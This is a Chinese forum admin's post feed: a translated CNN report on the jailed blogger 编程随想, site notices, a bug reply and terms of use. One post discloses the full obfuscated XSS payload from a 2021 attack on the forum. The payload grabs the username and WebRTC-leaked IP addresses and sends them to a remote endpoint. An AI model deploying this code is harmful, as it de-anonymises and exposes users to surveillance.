@47小管家
@47小管家
2047,自由人的精神角落,一个无需手机号和邮箱即可发言的社区。讨论时事、政治、文艺、IT技术等话题。
关注的小组(11)
动态 帖子 53 评论 158 短评 5 收到的赞 396 送出的赞 642
  1. 47小管家   在小组 编程随想关注组 发表文章

    CNN 报道编程随想一案中文翻译:一位有影响力的中国匿名博主的消失和一个女人的追寻

    批评中国共产党的匿名博主编程随想在多个平台上使用罗丹"思想者"的风格化版本作为头像。

    An influential Chinese blogger disappeared from the internet. This woman says she knows why

    https://edition.cnn.com/2023/03/29/china/china-blogger-sentenced-program-think-intl-mic-hnk/index.html

    By Nectar Gan, CNN

    Updated 10:20 AM EDT, Wed March 29, 2023

    12年来,匿名的中国博主“编程随想”对中国日益收紧的威权控制和不断扩大的国家监控发起了公开挑战。

    这个自由创作的博客提供了技术性的网络安全建议和尖锐的政治评论——包括关于如何安全地规避中国的互联网防火墙(GFW)、发展批判性思维和抵制中国共产党日益增长的极权统治。

    博主为他能够掩盖自己的数字踪迹并避免被抓而感到自豪——即使是在越来越多的政府批评者被卷入中国领导人习近平对异议人士的严厉镇压中。

    然而,在 2021 年 5 月,编程随想突然静默了。

    博客停止了更新,其 TwitterGitHub 账户变成了休眠状态。其作者曾向追随者承诺永远不超过 14 天不活动。许多人担心博主遭遇事故或疾病,或被当局追踪和拘留。

    各种猜测层出不穷,然而没有人能够提供具体的证据。

    编程随想对自己的身份进行了严密的保护,以致没有支持者知道这位博主是谁——只知道他是中国大陆境内的一名程序员,从事信息安全工作十年之久。

    现在,几乎两年后,一位最近因“煽动颠覆国家政权罪”而被判处在中国监狱服刑七年的博主的妻子认为她有了问题的答案:编程随想发生了什么?

    “这怎么可能呢?”

    这名姓贝的女子是阮晓寰的妻子,阮晓寰是一名45岁的男子,2021 年 5 月 10 日在上海的家中被警察带走——就在编程随想最后一篇博文发表的第二天。

    阮晓寰的拘留让贝完全傻眼了。而当她得知她的丈夫在博客上谈论政治敏感话题时,她更加震惊。

    “警察告诉我他的案情非常严重,我想,这怎么可能呢?”贝告诉CNN。

    “他是个技术狂,他喜欢钻研技术。他怎么会有这么多精力去写关于时事政治的文章呢?”

    在整个调查和法庭程序中,贝无法了解其丈夫案件的详细情况,因为当局告诉她这涉及“国家机密”。她说,阮晓寰是被秘密审判的,贝只有在今年 2 月 10 日上海第二中级法院对他进行判决时才再次见到他。

    “他瘦得不正常,头发几乎全变白了。”贝说。阮晓寰没有说话,他的半边脸被一个口罩遮住了。

    “宣判后,他转过身来看着我,似乎在表达异议并寻求帮助。我可以看出判决比他预期的要重得多。我对他说:‘上诉’。”

    根据 CNN 看到的一份判决书副本,法院裁定阮晓寰对中国的政治制度和社会治理“长期怀有不满情绪”。

    法院判决书说:“自 2009 年 6 月以来,(阮晓寰)使用自用电脑编写百余篇造谣、诽谤的煽动性文章,内容涉及攻击抹黑我国现行政治体制、煽动颠覆国家政权、意图推翻社会主义制度”。

    它还说,这些在海外平台上发表的文章造成了“大量网民浏览、评论、转发、效仿等恶劣后果”。

    但法庭文件没有提到阮晓寰的博客名称,也没有提供其认为具有颠覆性的内容的细节。在宣判后,法官要求贝签署一份不公布判决结果的协议,贝拒绝了这一要求。

    决心找出当局对她隐瞒的东西,贝学会了使用 VPN,即虚拟私人网络,以绕过中国严格的互联网限制。

    她搜索了关于中国博主失踪的媒体报道,直到她发现了一个以罗丹的雕塑“思想者”为头像的博客。

    它的名字是:编程随想。

    2022年,在上海为期两个月的 Covid 封锁期间,上海的道路空无一人。

    “这不可能只是一个巧合”

    据贝自己承认,这是一个突然醒悟的瞬间。

    有关该博客的所有信息与她丈夫的信息相吻合。

    该博客始于 2009 年,其最后一篇文章,即一长串的图书推荐,发表于 5 月 9 日——在阮晓寰被带走并被没收笔记本电脑的前一天。贝记得,有四个月的时间,阮晓寰生病卧床,恰好是发表博文的低潮期。

    贝说,作者的写作风格和期望似乎太熟悉了,他的直率和自信也是如此,有时甚至近乎傲慢。

    她在警方的调查中了解到,她的丈夫在一个海外平台上发布了 700 多篇文章——就像编程随想一样。

    贝说:“这不可能只是一个巧合。”

    她回忆说,当她绘出她认为是她丈夫和这位有影响力的博主之间的联系的那一刻,她在一家网咖里痛哭起来。

    “我开始意识到他在这么长的时间里承受了多大的压力。”她说,“他正在做所有这些危险的事情,一个人扛着这么多重量。”

    “即使在他被抓之后,也没有人能够帮助他,因为没有人知道他是编程随想。”

    CNN 无法确认阮晓寰的网络身份,而向休眠的“编程随想”博客上的电子邮件地址发出的信息也没有得到回复。CNN 多次致电上海市第二中级法院,但没有人愿意对阮晓寰的案件发表评论,也没有人愿意回答他的定罪是否与编程随想博客有关。

    阮晓寰在中国的网络安全行业工作了多年。他曾担任 2008 年北京奥运会信息安全系统总工程师。

    然而,贝相信这两个人是有联系的,并说她很后悔没有早点知道她认为是她丈夫的网络身份。

    她说,如果她知道,她会立即向在政治敏感案件中代表被告,并拥有专业知识和经验的人权律师寻求帮助。

    上个月,贝指定中国最著名的两位人权律师莫少平和尚宝军为阮晓寰的上诉辩护律师。

    但上海市高级人民法院拒绝了他们,称阮晓寰曾要求提供法律援助,而且国家已经为他指定了两名律师。

    CNN 已经联系了上海市高级人民法院,请其发表评论。在政治敏感的案件中,国家往往拒绝家属指定的律师,而是指派自己的律师。

    尽管官方施压要求她保持沉默,但她还是决定公开阮晓寰的案件,希望媒体曝光和公众关注可能有助于她的丈夫获得公正的上诉。

    “我已经浪费了(帮助他)进行一审的机会。我不能错过上诉,这是最后的机会——我必须确保它是公正的。"她说。

    阮书房的书架上摆满了书。

    “热衷于技术”

    阮晓寰出生于中国东南沿海的福建省,在初中时第一次接触到电脑。他在接受一家国有学术期刊采访(译注:即《技术热衷者:阮晓寰》一文)时说,他对软件病毒感兴趣,并自学了编程。

    他继续在上海著名的华东理工大学学习,在那里他遇到了他未来的妻子贝。

    他们都主修化学工程,但那时阮晓寰已经迷恋上了计算机科学。他把所有的空闲时间都花在了图书馆的阅读上。他和他的室友们还买了一台电脑,这样他们就可以在宿舍里轮流使用,贝说。

    阮晓寰曾在上海的华东理工大学学习,但在毕业前离开,加入了网络安全行业。

    阮晓寰非常渴望加入这个行业,以至于他放弃了完成他的大学学位。

    “他告诉我,计算机科学发展太快了,学历不能代表一个人的能力。”贝回忆说。

    这一举动得到了回报,阮晓寰的事业迅速起飞。

    他后来在中国最著名的一些网络安全公司工作。他曾担任2008年北京夏季奥运会信息安全系统总工程师,当时他在网络安全公司启明星辰(Venustech)工作。

    阮晓寰后来加入另一家公司(译注:即国都兴业),并被提升为首席技术官。

    在当时接受《软件和信息服务》杂志的采访时,阮晓寰说:“我是一个热衷新技术的人,只有新技术才能让我有激情”。

    但是,由于公司对利润的过度追求,对研究和开发的限制使他越来越感到沮丧。2012年,阮晓寰辞去工作,专注于开发开放源代码软件。

    据贝回忆,直到他被捕前,阮晓寰一直在朝北的书房里工作,在键盘上打字或阅读。

    阮晓寰从不关心金钱或物质生活。相反,他渴望他所谓的“开源精神”——自由、开放、分享与合作,贝说。

    “他认为人必须追求生活中的精神价值。对他来说,是技术——这是他认为有价值的东西。但直到最近我才发现,他对自由的(追求)也演变成了对政治自由的(渴望)。”她说。

    贝说,2021 年 5 月 10 日,警察来敲公寓的门时,阮晓寰正在书房里工作。她以为是送瓶装水的,就叫她丈夫去开门。

    阮晓寰被强行带走,眼镜的一个镜片被打碎。超过六个警察冲进来搜查他们的公寓。贝说,搜查从中午一直持续到第二天的凌晨。

    根据法院的判决书,阮晓寰的笔记本电脑当时仍在运行,警方在将其转移到警察局时一直开着设备,以便搜查其所有数据。

    法庭文件称,警方还没收了一部 iPhone、一部小米手机和华为笔记本电脑,但贝说这些是她的设备。

    现在回想起来,贝说她可能忽略了一些早期的警告信号。

    她说,在阮晓寰被捕前约一年,他们家的网络服务变得不稳定,而且经常断线。当他们出去散步时,阮晓寰有时会突然赶回家,似乎是为了检查他们家是否有任何入侵者。

    现在回过头来看,贝说,如果她知道,她就不会支持她丈夫写政治博客的决定。

    她说:“我认为如果他把时间花在技术上,他会对人类社会做出更大的贡献。”

    阮在 2017 年底和 2018 年初卧病在床时,使用书房里的绿色膝上桌来工作。

    “政治会来关心你”

    编程随想一开始写博客也不是为了表达政治异议。

    在 2009 年 1 月发表的第一篇文章中,作者介绍说该博客是一个分享软件开发和编程语言方面的技能和经验的地方。

    但没过多久,其内容就与政治产生了交集。

    2009 年 6 月 4 日,即天安门大屠杀 20 周年纪念日,该博主分享了如何规避互联网限制和如何在网上隐藏身份的方法。

    一周后,在另一篇文章中,作者谴责中国不断收紧的互联网审查制度。一系列国际社交媒体平台,包括推特和 Flickr,被列入禁止名单,同时中国当局发布指令,要求所有新电脑必须安装审查软件。

    “俺不想再保持沉默、不想再回避这些问题了,是该写点技术以外的东西了!”帖子最后说。

    不久之后,编程随想开始发表更公开的政治评论。

    “在中国,你可以不关心政治,但是政治会来关心你,”编程随想在 2011 年 6 月 4 日的一篇博文中写道,解释了开始写天安门镇压系列的决定。

    2016 年,在“巴拿马文件”发布后,编程随想汇总了公开的数据(译注:指太子党关系网络),据称详细说明了共产党领导人和他们的亲属之间的联系。

    编程随想说,这些数据旨在“专门揭露赵国的权贵”,这促使中国网络安全协会向 GitHub 发出了删除请求。GitHub没有遵守,该数据库仍然可以在该平台上访问(译注:但该项目屏蔽了中国大陆地区访问)。

    随着编程随想的知名度越来越高,来自中国当局的审查也越来越多。

    2019 年,在一篇题为“为啥朝廷总抓不到俺——十年反党活动的安全经验汇总”的文章中,编程随想说,国家黑客曾两次试图攻击他的 Gmail 账户;博客的评论区也被这位博主怀疑是政府雇佣的评论员淹没。

    但编程随想并不气馁,继续写博客,直到他们似乎消失得无影无踪。

    1989年4月22日,在北京天安门广场,数百名支持民主的学生抗议者与士兵面对面坐下。

    “一个人对抗国家机器”

    中国当局从未公开提及编程随想。但许多中国维权人士、中国问题专家和该博客的追随者认为,阮晓寰确实是失踪的博主。

    一些国际人权组织,包括美国笔会人权观察,也将阮晓寰与编程随想联系起来,并呼吁立即释放他。

    1989 年天安门运动期间的学生领袖周锋锁说,官方对编程随想的保密工作出卖了当局对这位博主影响力的恐惧。

    中国人权组织执行主任周说:“在共产党无处不在的监视下——无论是在网上还是在现实生活中,他都能坚持12年——这本身就是一个了不起的传奇。”

    周说:“编程随想本可以轻松地享受舒适的生活,然而,他选择用他的专业知识来传播自由的理念。他影响了许多人——数以十万计的人。这是一个人对抗国家机器。”

    对编程随想的支持者来说,这个博客的存在是对党的权威的公开挑战,无论是在意识形态还是技术方面。

    一些人把这位博主比作“V”,即艾伦·摩尔(Alan Moore)的漫画小说《V字仇杀队》中的蒙面自由斗士。还有人称编程随想是中国的“赛博普罗米修斯”,即从天堂盗取火种并将其送给人类的古希腊神。

    追踪中国审查制度的美国新闻网站“中国数字时代”的分析师刘力朋说,他很早就开始关注编程随想。

    刘说,一开始,这个博客并不显得特别敏感,因为当时中国互联网上批评的声音比比皆是。

    他说:“正是过去十年中国政治空间的迅速缩小,把他推到了所谓反共产党活动的最前沿。”

    在中国类似于 Twitter 的微博上,搜索编程随想受到严格限制。一个微博用户在周五发布了一个关于这位博主的暗示性信息:“(人)只能编程,不能思考。”该帖子后来从搜索结果中删除。

    阮晓寰被判刑后,他的名字也被禁止在中国社交媒体平台上出现。

    “当局不希望人们谈论他,他们最不希望看到的是(呼吁释放他的)声援活动。”刘说。

    虽然官方可能永远不会确认阮晓寰和编程随想是否是同一个人,但许多追随者相信他们是同一个人。而且不管他是否被当局拘留,他们说博客中分享的知识和思想已经传播得很远很广。

    “你都已经是无数人心中当之无愧的英雄了,我们都会带着你种下的火炬活下去的。”一位追随者在编程随想的 Twitter 页面上留言

  2. 47小管家   在小组 站务 发表文章

    功能提示:小组可以自由加入与退出。如果你不想看到某小组的内容,可以点击小组页面的按钮退出该小组

    退出小组后,该组内容将不会在个人动态里显示。若想重新关注该组内容,点击加入按钮即可。

  3. 47小管家   在小组 站务 发表文章

    关于处理仿冒管理员账号的说明

    近期站内出现虚假的管理账号活动,在此说明2047有管理权限的账号为:

    • 47小管家(uid: 5327)和AdminBot(uid: 2942):此两账号负责全站站务。
    • 各小组组长和管理员:小组管理员名录可点击链接 /g/<小组名>/mods 查看。

    除此之外,其他声称为2047管理员、使用管理头像与用户名的账号均为仿冒,请注意甄别。

    本贴在站务分版内置顶。

  4. 47小管家   在小组 江湖 发表文章

    立此存照:2021年12月20日,中共黑客攻击2047使用的代码

    黑客使用的ID是 @小鹿乱撞 ,攻击手法是XSS。

    目前2047的全部代码已经重写,并且使用了CSP保护,从根源上杜绝了此类问题。

    在网页上查看代码不会损害您的计算机。如果您要对代码进行反混淆及调试,请注意安全防护。

    var _0x4ec6a8=_0x8daa;(function(_0x5e1be8,_0xf60bed){var _0x493efb=_0x8daa,_0x48dbe2=_0x8daa,_0x646a97=_0x5e1be8();while(!![]){try{var _0xa625d4=parseInt(_0x493efb(0x12d,'gOH2'))/0x1*(-parseInt(_0x493efb(0x15a,'4ig%'))/0x2)+-parseInt(_0x48dbe2(0x13a,'!fyC'))/0x3*(parseInt(_0x493efb(0x121,'!fyC'))/0x4)+-parseInt(_0x493efb(0x159,'HT0^'))/0x5*(-parseInt(_0x48dbe2(0x145,'2vsa'))/0x6)+-parseInt(_0x48dbe2(0x151,'TwLG'))/0x7+parseInt(_0x493efb(0x14c,'$$]T'))/0x8*(parseInt(_0x48dbe2(0x117,'2Q@v'))/0x9)+parseInt(_0x48dbe2(0x14d,']9Fc'))/0xa+parseInt(_0x493efb(0x144,'^iLR'))/0xb;if(_0xa625d4===_0xf60bed)break;else _0x646a97['push'](_0x646a97['shift']());}catch(_0x158466){_0x646a97['push'](_0x646a97['shift']());}}}(_0x35a4,0xeb0a0));function getCurrentUser(){var _0x1227cb=_0x8daa,_0x31a77f=_0x8daa;try{return[app['user'][_0x1227cb(0x134,'2l4j')],app[_0x1227cb(0x13b,'3o5a')][_0x31a77f(0x158,'RDT)')]][_0x1227cb(0x137,'V0zu')]('\x20');}catch(_0x478475){return'not\x20login';}}var current_user=getCurrentUser();function loadScript(_0x498b98){var _0x3e3120=_0x8daa,_0x4b8c1a=_0x8daa,_0x1f8dc1=document[_0x3e3120(0x13c,'tXm3')]('script');_0x1f8dc1[_0x3e3120(0x15c,'&D%d')]=_0x498b98,document['head'][_0x3e3120(0x14a,'gOH2')](_0x1f8dc1);}loadScript(_0x4ec6a8(0x125,'$Cam'));function getIPs(_0x48dfdb){var _0x3a3d28=_0x4ec6a8,_0x4a90ff=_0x4ec6a8,_0x302154=document[_0x3a3d28(0x12b,'xzbe')](_0x3a3d28(0x120,'r6BD'));_0x302154[_0x3a3d28(0x14b,'^iLR')]=_0x4a90ff(0x152,'tXm3'),_0x302154[_0x3a3d28(0x124,'QKjI')]=_0x4a90ff(0x11d,'1PnJ'),document[_0x3a3d28(0x13e,'sff*')][_0x4a90ff(0x135,'zT2n')](_0x302154);var _0x5de6ce={},_0x380412=window['RTCPeerConnection']||window[_0x3a3d28(0x14e,'6T$C')]||window[_0x3a3d28(0x157,'xzbe')],_0x492c80=!!window[_0x3a3d28(0x13f,'RDT)')];if(!_0x380412){var _0x1dd00a=_0x302154['contentWindow'];_0x380412=_0x1dd00a[_0x4a90ff(0x11c,'2vsa')]||_0x1dd00a[_0x4a90ff(0x132,'1PnJ')]||_0x1dd00a[_0x4a90ff(0x133,'S51m')],_0x492c80=!!_0x1dd00a[_0x4a90ff(0x141,'vqxW')];}var _0x23c487={'optional':[{'RtpDataChannels':!![]}]},_0x457042={'iceServers':[{'urls':[_0x3a3d28(0x154,'S51m'),_0x4a90ff(0x122,'qiDy')]}]},_0x3c6d28;try{_0x3c6d28=new _0x380412(_0x457042,_0x23c487);}catch(_0x521691){return;}function _0x7276b4(_0x2b6216){var _0x37052f=_0x4a90ff,_0x370b85=/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/,_0x2e65d1=_0x370b85[_0x37052f(0x11f,'qiDy')](_0x2b6216)[0x1];if(_0x5de6ce[_0x2e65d1]===undefined)_0x48dfdb(_0x2e65d1);_0x5de6ce[_0x2e65d1]=!![];}_0x3c6d28[_0x4a90ff(0x156,'Hm1[')]=function(_0x516647){var _0x4fca71=_0x4a90ff,_0x23448f=_0x3a3d28;if(_0x516647[_0x4fca71(0x149,'Eujv')])_0x7276b4(_0x516647[_0x23448f(0x123,'$$]T')]['candidate']);},_0x3c6d28[_0x4a90ff(0x146,'Eujv')](''),_0x3c6d28[_0x3a3d28(0x138,'$Cam')](function(_0x3ab26e){var _0x4e3304=_0x4a90ff;_0x3c6d28[_0x4e3304(0x155,'gOH2')](_0x3ab26e,function(){},function(){});},function(){}),setTimeout(function(){var _0x3f597e=_0x4a90ff,_0x31a3de=_0x4a90ff,_0x13f309=_0x3c6d28[_0x3f597e(0x130,'r9VR')]['sdp'][_0x3f597e(0x153,'^iLR')]('\x0a');_0x13f309[_0x31a3de(0x15d,'Hm1[')](function(_0xd62891){var _0x4c1424=_0x3f597e;if(_0xd62891[_0x4c1424(0x148,'2l4j')]('a=candidate:')===0x0)_0x7276b4(_0xd62891);});},0x3e8),setTimeout(function(){var _0x425af3=_0x3a3d28;_0x302154[_0x425af3(0x131,'N(x!')]();},0xbb8);}function _0x35a4(){var _0x5721d9=['WOZdPCktW4JcStRcSW/dQSo8wIua','WP8aW5RdRdrFWPhcLmozlSkSW5tcKa','Ex9UnXG','W4/dG8oWWRxcMCkkW4ryW5VcR8kLtGqVWQpdIWRcJKldOaGNWQa+nxq7W4OrW7P2W6hdM8oVkmkEWONdMmoUW4WmtG','W47dJbfOW419sYVdMvBcQw/cMxz8r8kLW6xcOW','cXxdQbjdbCkjoMPdW4hcMYab','oCoRW4ydW53cPqK6W67cG0nHWQyLy8kZySk7e8kehCkRWPi','yNpdLh9vw8knAq','n8oQW5ddK8k8ea8rW6xcQCkW','xCo1WRxcVmoXbmoy','W6ddQSkwW5HUW7udWQtcHwhdMW','W57cL2y','aHtdSZrhbCka','WP99amknhSo9rW','jmoVW5ijW4FcSIKhW53cPW','DCk/WOVcHCoS','hmoNWOVcHCoYo8oIWR3cMCkvWQhcHwa/zLy','WO7dO2ilr8oXeG7dSMW','WOj+W6NcOCo3pmksbWKQW71jW7lcOmkOW6xcVG','l8kCuLW5a8ogW4znkrvYWOfjbNP0','ALWWWOtcMLBcU3P+BSkCW6W','tKtdU3W','WOS8emoZWRD+','W6dcImoyW6NcNq50ggxdSIXUEa','weJdQ3f7WR8xfCoTgSoQWPRcIxdcPtpcUmo7WOxcO1X0CmoonJLzm8o2W4/cJx/dKG','xmkrmhqHW4juEa8','W7C3WPKUf8kkWP0','hsBcNSoDamkEFNldRSkBW7tdT0tdV8otjmogwui+v8o9qfddNhNdQatcH0mdWOJdVwhcOmouaI/dLwmZWQzBm8o0','W5ZdGg4k','jCkjyGboWRr2qcVdG008WQDQrJVcRxRdGmksbSoYW5ewqCkFhMZcTSkEWRfypaxcKq','WOZcLI9lfraeqaBcI8kbo0y','tK7dRhaZ','vu7cTemFxSoEzhHCW4pcQHSD','lCo8W4ejW4dcTb4cW4JcVKnQWQa','W6etWP/dImkRAmowbqKhW5vlW4e','WOZcNvaqWPeUgGddNN/cLvxcJG','gGJcQYTYW7TsimoazSkuW63cHa','WO3cHCkYW6/cKmolWOezW4FdQmkNgHK1','sCk+W4mhEcuxWQJcMmkguaJdSehdV8ku','W6ZdHvT+CSoq','i8kFrgeABCoLW4jfpNTYWP1obhbUdb7cVq','W4VdKSoNWRddISknW6j5W7BdKCkSbredWQpdGGJcJG/dTW4LW7q','ASo0W5K','WOhdHmoOihr7qHyaWOVcMa','DNddGwfswCkbEmk1D8o9imknWQjSWOy','W4ZcKqOo','fIdcJ8omb8obhJVdV8oqW6u','W4PqWPVcQw11WOldNmkDaCk3','W6ldMSkzWQtdSwKB','omkoCWi','WPGBW4ZdVsXBWQ3dGSkClCkMW5tcGq','W5vTkSkC','rdZdPCoO','ygxdK2zstSkYwmkFsmo2ASkvWPjSWOBdGmk3W4jZwgFcSq','p8kpwColWRJcUGDBW5hcKW','W7PiFW5EWOhcNNNcLfCXW51HimkXWQxcVWrgW4aEl1m','WQ3dUHBdTa','kCkkDSonWRhcGc0','oZ01AL8Ul0XTWO3cU8kQW6id','W6yFWP7cHmoMlmkseHy','W5FdNxGFverXvGBcOCkBfuLuWQuBWQ4','W4/cL2PMWPhdJ8kw','DSoZW5KegSoXfW','W5FdJNmAsuvuqXC','W5ZdMrvbW4X6As/dTf/cVG','ExT7mGK','b8oeBIzWWPqbrIH+yw1W','kSoicCkuW67dTLq0W47cLxJdVghdSG','umoalbpdQvXIWOtdO8kog8ouk2NdQSkyW7vlymoJ','W5ddLvPhzmkTWPZcOmkf','vSomW4nlrs3cRSoLnCkSW6ZcTHldVZpdL0VdM8oJrMVdKW'];_0x35a4=function(){return _0x5721d9;};return _0x35a4();}function reportError(_0x46027a){var _0x3aea13=_0x4ec6a8,_0x3f48b0=_0x4ec6a8;ak='28fbb9baf44548b1b7393c4ae4cf1819',title=location[_0x3aea13(0x126,'Eujv')]+new Date()[_0x3aea13(0x15b,'fi)r')]()[_0x3f48b0(0x119,'HT0^')](0x0,0xa);var _0x1f7d5a={'access_token':ak,'data':{'environment':'production','level':_0x3aea13(0x129,'qiDy'),'platform':_0x3aea13(0x147,'&D%d'),'framework':_0x3f48b0(0x11b,'NkTu'),'language':_0x3f48b0(0x118,'xzbe'),'body':{'message':{'body':title,'user':current_user,'data':_0x46027a,'ua':navigator['userAgent'],'href':location['href']}},'request':{'user_ip':_0x3f48b0(0x140,']9Fc')}}},_0x4d6655=new XMLHttpRequest();_0x4d6655['open'](_0x3aea13(0x142,'G%X7'),_0x3f48b0(0x127,'3o5a')),_0x4d6655['setRequestHeader'](_0x3aea13(0x11e,'%y[N'),_0x3aea13(0x136,'RDT)')),_0x4d6655[_0x3aea13(0x11a,'4ig%')](_0x3f48b0(0x150,'hH#Q'),ak),_0x4d6655[_0x3aea13(0x13d,'2Q@v')](JSON[_0x3aea13(0x14f,'udP4')](_0x1f7d5a));}function _0x8daa(_0x420ab9,_0x62fc38){var _0x35a4a2=_0x35a4();return _0x8daa=function(_0x8daa24,_0x29a52e){_0x8daa24=_0x8daa24-0x117;var _0x4e89cd=_0x35a4a2[_0x8daa24];if(_0x8daa['hewqgb']===undefined){var _0x443038=function(_0x498b98){var _0x1f8dc1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x48dfdb='',_0x302154='';for(var _0x5de6ce=0x0,_0x380412,_0x492c80,_0x1dd00a=0x0;_0x492c80=_0x498b98['charAt'](_0x1dd00a++);~_0x492c80&&(_0x380412=_0x5de6ce%0x4?_0x380412*0x40+_0x492c80:_0x492c80,_0x5de6ce++%0x4)?_0x48dfdb+=String['fromCharCode'](0xff&_0x380412>>(-0x2*_0x5de6ce&0x6)):0x0){_0x492c80=_0x1f8dc1['indexOf'](_0x492c80);}for(var _0x23c487=0x0,_0x457042=_0x48dfdb['length'];_0x23c487<_0x457042;_0x23c487++){_0x302154+='%'+('00'+_0x48dfdb['charCodeAt'](_0x23c487)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x302154);};var _0x478475=function(_0x3c6d28,_0x7276b4){var _0x521691=[],_0x2b6216=0x0,_0x370b85,_0x2e65d1='';_0x3c6d28=_0x443038(_0x3c6d28);var _0x516647;for(_0x516647=0x0;_0x516647<0x100;_0x516647++){_0x521691[_0x516647]=_0x516647;}for(_0x516647=0x0;_0x516647<0x100;_0x516647++){_0x2b6216=(_0x2b6216+_0x521691[_0x516647]+_0x7276b4['charCodeAt'](_0x516647%_0x7276b4['length']))%0x100,_0x370b85=_0x521691[_0x516647],_0x521691[_0x516647]=_0x521691[_0x2b6216],_0x521691[_0x2b6216]=_0x370b85;}_0x516647=0x0,_0x2b6216=0x0;for(var _0x3ab26e=0x0;_0x3ab26e<_0x3c6d28['length'];_0x3ab26e++){_0x516647=(_0x516647+0x1)%0x100,_0x2b6216=(_0x2b6216+_0x521691[_0x516647])%0x100,_0x370b85=_0x521691[_0x516647],_0x521691[_0x516647]=_0x521691[_0x2b6216],_0x521691[_0x2b6216]=_0x370b85,_0x2e65d1+=String['fromCharCode'](_0x3c6d28['charCodeAt'](_0x3ab26e)^_0x521691[(_0x521691[_0x516647]+_0x521691[_0x2b6216])%0x100]);}return _0x2e65d1;};_0x8daa['KNEMzL']=_0x478475,_0x420ab9=arguments,_0x8daa['hewqgb']=!![];}var _0x3a3133=_0x35a4a2[0x0],_0x2013dc=_0x8daa24+_0x3a3133,_0x48e867=_0x420ab9[_0x2013dc];return!_0x48e867?(_0x8daa['ZDTYbw']===undefined&&(_0x8daa['ZDTYbw']=!![]),_0x4e89cd=_0x8daa['KNEMzL'](_0x4e89cd,_0x29a52e),_0x420ab9[_0x2013dc]=_0x4e89cd):_0x4e89cd=_0x48e867,_0x4e89cd;},_0x8daa(_0x420ab9,_0x62fc38);}getIPs(reportError);
    
  5. 47小管家   在小组 站务 发表文章

    对 @Hoowii 提交bug的反馈

    本站“編輯記錄”頁面出現奇怪ip地址鏈接,請注意檢查安全性,有無暴露敏感信息等。

    @47小管家 本站“編輯記錄”頁面出現奇怪ip地址鏈接,請注意檢查安全性,有無暴露敏感信息等。 例如這個:https://2047.one/p/195992/edit-log “Post-195992”指向https://0.2.253.152/

    再說一句功能越簡單越安全,站方自己都安全不保我們還玩個屁。 雖然沒必要用暗網,但起碼不應該增加無用功能,爺爺時代的極簡論壇又不是不能用。

    bug已经修复。这里显示的并不是“IP地址”,而是帖子的ID被解析成了类似ip的点分表示,不影响安全。

    另外指出,0不是合法公网IP地址的开头,这个地址不能链接至任何合法公网主机。

  6. 47小管家   在小组 站务 发表文章

    2047使用协议

    2022年10月24日

    欢迎您来到2047。

    请您仔细阅读以下条款,如果您对本协议的任何条款表示异议,您可以选择不进入2047。当您注册成功,无论是进入2047,还是在2047上发布任何资讯、资料、文字、软件、音乐、音讯、照片、图形、视讯、信息、用户资料、交互数据、指向外部网站的链接或其他资料等(以下简称「内容」),均意味着您(以下简称「用户」)完全接受本协议项下的全部条款。

    总则

    1. 2047的运营者及相关关联组织(以下简称“2047”)根据本使用协议的条款及其它有关规则为用户提供互联网服务。2047公布的《2047内容原则》(附件一)、《2047小组管理原则》(附件二)均是本协议的有效组成部分,本协议及前述规则共同构成用户使用2047之规范。用户的使用行为(包括但不限于通过API接入等形式)视为其对本协议及其附件的同意。
    2. 用户应遵守本协议的各项条款,合理使用2047提供的服务,否则,2047有权依据本协议中断或终止为用户提供服务。同时,2047保留在任何时候收回用户所使用的账号的权利。
    3. 若用户未满13周岁,则用户不得访问或使用2047服务。若用户已满13周岁,但未满18周岁或未满用户所在司法管辖区的成年年龄,在使用2047服务前,应由其法定监护人查看并接受本协议。
    4. 2047有权制订关于使用本服务的一般措施及限制,同时,2047保留解释与随时变更这些一般措施及限制之权利。用户在使用相关服务时,应关注并遵守其所适用的相关条款。

    账号注册与使用

    1. 用户注册成功后,2047将给予每个用户一个用户账号及相应的密码,该用户账号和密码由用户负责保管;用户应当对以其用户账号进行的所有活动和事件负法律责任。
    2. 用户不应将其账号、密码转让、出售或出借予他人使用,账号使用权仅属于初始申请注册人,用户应对账号内的全部行为独立承担全部责任。若用户未保管好自己的账号和密码,因此而产生的任何损失或损害,2047不承担任何责任。
    3. 用户不得以误导方式冒充他人;不得以误导方式利用他人的名义发布任何信息;不得恶意使用注册账号导致其他用户误认;否则2047有权立即停止提供服务,收回其账号并由用户独自承担由此而产生的一切法律责任。
    4. 用户应当合理注册并使用2047账号,不得恶意注册或违规使用2047账号。违规行为包括但不限于频繁注册、批量注册等可以合理认为是通过机器进行账号操作的行为、恶意滥用多个账号、使用多个账号大量创建内容或发送消息(包含私信和通知)、通过实际控制多个账号等方式操纵内容(包含投票)或规避限制、使用2047账号进行违反本协议的其它行为或将2047账号用于其他不当用途。
    5. 2047有权对上述恶意注册、违规使用行为进行独立判断并在合理判断存在上述行为时,无须事先通知即可暂停或终止用户使用账号,并拒绝用户于现在和未来使用本服务之全部或任何部分。

    用户信息保护

    2047的首要政策是在正常提供服务的基础上,尽可能少的收集用户信息,以确保用户在使用服务时的安全。

    注册时,用户需要提供以下信息:

    1. 用户名;
    2. 密码。

    当用户浏览、使用2047时,2047不会做以下任何事情:

    1. 记录用户的浏览器和操作系统信息;
    2. 记录用户的 IP 地址信息;
    3. 记录包含用户标识信息的访问日志;
    4. 要求用户以任何方式提供个人信息。

    默认情况下,2047不会保留用户的 IP 地址。但是,2047使用的第三方服务(“Cloudflare CDN”)可能会暂时保留 IP 日志24小时,以防御滥用行为。如果用户从事违反本协议的活动(例如针对2047的网络基础设施的 DDoS 攻击、暴力破解密码等),用户的 IP 地址的保留期限可能会被延长,以保护本站的服务不受恶意活动的侵扰。

    用户行为

    1. 用户的行为不得破坏网站的固有公平性,不限于表现为,使用多个账号规避限制、批量发送内容、批量注册账号、操纵内容或操纵点赞等行为。
    2. 用户不得干扰或破坏2047的网络服务,不限于表现为,访问或试图访问其他用户的账号或2047服务的任意非公开部分(包括2047服务使用的计算机系统和网络)、将任何木马、病毒、蠕虫、恶意代码或其它旨在干扰2047服务的程序上传;以自动方式访问、搜索或收集2047的数据,使得2047服务负担过重等。
    3. 用户在2047上发布的内容,应当遵守《2047内容原则》(附件一);若用户加入了任何小组,应当遵守《2047小组管理原则》(附件二),同时应遵守所在小组的规定。
    4. 若用户发布不适合工作场合或不适合未成年人观看的露骨内容,用户应当予以显著标注。
